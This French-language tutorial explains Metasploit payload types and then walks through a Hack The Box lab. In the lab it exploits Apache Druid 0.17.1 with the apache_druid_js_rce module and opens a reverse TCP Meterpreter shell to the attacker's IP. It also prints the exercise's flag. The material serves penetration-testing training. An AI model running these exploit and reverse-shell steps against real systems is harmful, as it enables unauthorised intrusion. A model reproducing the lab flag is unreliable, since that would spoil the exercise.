# Payloads

Dans Metasploit, les **payloads** désignent le code qui sera exécuté sur la machine cible après exploitation d’une vulnérabilité. Ils représentent la charge utile livrée par l’exploit et constituent l’un des éléments centraux du processus d’attaque.

Les payloads peuvent avoir divers objectifs :

* Fournir un accès interactif (ex. shell, Meterpreter)
* Créer une connexion de retour vers l’attaquant
* Ouvrir un port d’écoute sur la cible
* Exécuter une commande spécifique

Metasploit offre un large éventail de payloads adaptables à différents systèmes, architectures et scénarios.

***

### 📂 Types de payloads

#### 🔄 Singles

* Contiennent **tout le code nécessaire** en une seule charge utile.
* Exécutent une action autonome (ex. ajout d’un utilisateur, exécution d’une commande).
* **Pas de dépendance externe**.

#### 🧩 Stagers

* Petits programmes envoyés en premier.
* Ont pour rôle d’**établir une connexion** entre l’attaquant et la cible.
* Préparent l’environnement pour recevoir le payload principal.

#### 📦 Stages

* Livrés après le stager.
* Fournissent des fonctionnalités avancées comme **Meterpreter** ou un shell interactif.
* Permettent de réduire la taille initiale du code injecté.

👉 **Exemple classique** : `windows/meterpreter/reverse_tcp`

* Le stager établit une connexion TCP inversée.
* Le stage charge Meterpreter pour un contrôle complet de la cible.

***

### 🔍 Recherche et sélection d’un payload

Un payload est choisi après avoir sélectionné un exploit. Pour lister les payloads compatibles :

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > show payloads
```

#### Exemple de sortie :

```bash
Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   generic/shell_reverse_tcp                            normal  Generic command shell, Reverse TCP inline
   windows/meterpreter/reverse_tcp                      normal  Windows Meterpreter, Reverse TCP stager
   windows/meterpreter/bind_tcp                         normal  Windows Meterpreter, Bind TCP stager
```

***

### ⚙️ Options d’un payload

Chaque payload possède ses propres paramètres configurables. Exemple avec `windows/meterpreter/reverse_tcp` :

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (IP de l’attaquant)
   LPORT     4444             yes       Le port d’écoute du payload
```

👉 Paramètres clés :

* **LHOST** : Adresse IP de l’attaquant.
* **LPORT** : Port d’écoute (par défaut `4444`).

***

### 🚀 Exécution avec un payload

1. Sélection d’un exploit :

```bash
use exploit/windows/smb/ms17_010_psexec
```

2. Sélection d’un payload compatible :

```bash
set payload windows/meterpreter/reverse_tcp
```

3. Configuration :

```bash
set RHOSTS <IP CIBLE>
set LHOST <IP ATTAQUANT>
set LPORT 4444
```

4. Exécution :

```bash
run
```

5. Résultat : Ouverture d’une session Meterpreter.

```bash
meterpreter > sysinfo
Computer        : VICTIME
OS              : Windows 7 (Build 7601, Service Pack 1)
Architecture    : x64
```

***

### 🧠 Bonnes pratiques

* Utiliser des payloads adaptés au système et au contexte (OS, version, architecture).
* Préférer des payloads stagers/stages pour contourner les limitations de taille.
* Tester plusieurs types de payloads en cas d’échec (reverse TCP, bind TCP, HTTPS...).
* Vérifier la compatibilité entre le payload choisi et l’exploit utilisé.

***

### 📚 Ressources utiles

* [Metasploit Unleashed - Payloads](https://www.offsec.com/metasploit-unleashed/payloads/)
* [Meterpreter Documentation](https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html)

***

> Exploit the Apache Druid service and find the flag.txt file. Submit the contents of this file as the answer.

Dans un premier temps, un scan de notre cible est effectué :&#x20;

```bash
$ nmap -sV -p- 10.129.203.52

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 05:31 CDT
Nmap scan report for 10.129.203.52
Host is up (0.0083s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
2181/tcp open  zookeeper Zookeeper 3.4.14-4c25d480e66aadd371de8bd2fd8da255ac140bcf (Built on 03/06/2019)
8081/tcp open  http      Jetty 9.4.12.v20180830
8082/tcp open  http      Jetty 9.4.12.v20180830
8083/tcp open  http      Jetty 9.4.12.v20180830
8091/tcp open  http      Jetty 9.4.12.v20180830
8888/tcp open  http      Jetty 9.4.12.v20180830
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.77 seconds
```

Nous observons ainsi la présence du service [Jetty](https://jetty.org/) sur les ports allant de 8081 à 8888.\
Nous nous connectons alors à l'un de ces ports via notre navigateur :&#x20;

<figure><img src="https://428993362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMFND1xZe6YAGbm2iLxIv%2Fuploads%2FqNqDaAJ4NRzmAs9KKsQx%2Fimage.png?alt=media&#x26;token=5b01661f-b69f-4863-a470-a6d305a06935" alt=""><figcaption></figcaption></figure>

Cette connexion nous permet de valider l'accès à ***Apache Druid***, mais également d'observer que la version utilisée est la version **0.17.1**.<br>

Nous exécutons **Metasploit** :&#x20;

```bash
msfconsole
```

Une fois **Metasploit** lancé, nous pouvons rechercher les différents exploits connus concernant Apache Druid :&#x20;

```bash
[msf](Jobs:0 Agents:0) >> search Apache Druid

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/linux/http/apache_druid_js_rce          2021-01-21       excellent  Yes    Apache Druid 0.20.0 Remote Command Execution
   1    \_ target: Linux (dropper)                    .                .          .      .
   2    \_ target: Unix (in-memory)                   .                .          .      .
   3  exploit/multi/http/apache_druid_cve_2023_25194  2023-02-07       excellent  Yes    Apache Druid JNDI Injection RCE
   4    \_ target: Automatic                          .                .          .      .
   5    \_ target: Windows                            .                .          .      .
   6    \_ target: Linux                              .                .          .      .
   7  auxiliary/scanner/http/log4shell_scanner        2021-12-09       normal     No     Log4Shell HTTP Scanner
   8    \_ AKA: Log4Shell                             .                .          .      .
   9    \_ AKA: LogJam                                .                .          .      .


Interact with a module by name or index. For example info 9, use 9 or use auxiliary/scanner/http/log4shell_scanner
```

Ici, nous allons utilisée le module numéro 0 et allons le configurer avec les différentes informations obtenues concernant notre cible :&#x20;

```bash
[msf](Jobs:0 Agents:0) >> use 0
[*] Using configured payload linux/x64/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:0) exploit(linux/http/apache_druid_js_rce) >> set rhosts 10.129.203.52
rhosts => 10.129.203.52

[msf](Jobs:0 Agents:0) exploit(linux/http/apache_druid_js_rce) >> set rport 8081
rport => 8081

[msf](Jobs:0 Agents:0) exploit(linux/http/apache_druid_js_rce) >> set lhost 10.10.14.151
lhost => 10.10.14.151
```

L'ensemble des information necéssaires renseignées, nous pouvons maintenant exécuter notre programme :&#x20;

```bash
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_druid_js_rce) >> run
[*] Started reverse TCP handler on 10.10.14.151:4444 
[...]

(Meterpreter 1)(/root/druid) > 
```

La connexion à notre cible est effective. Nous pouvons maintenant rechercher le fichier ***flag.txt*** et en afficher son contenu :&#x20;

```bash
(Meterpreter 1)(/root/druid) > cd ..

(Meterpreter 1)(/root) > cat flag.txt 
HTB{MSF_Expl01t4t10n}
```

Nous obtenons ainsi le flag attendu :&#x20;

```
HTB{MSF_Expl01t4t10n}
```

***
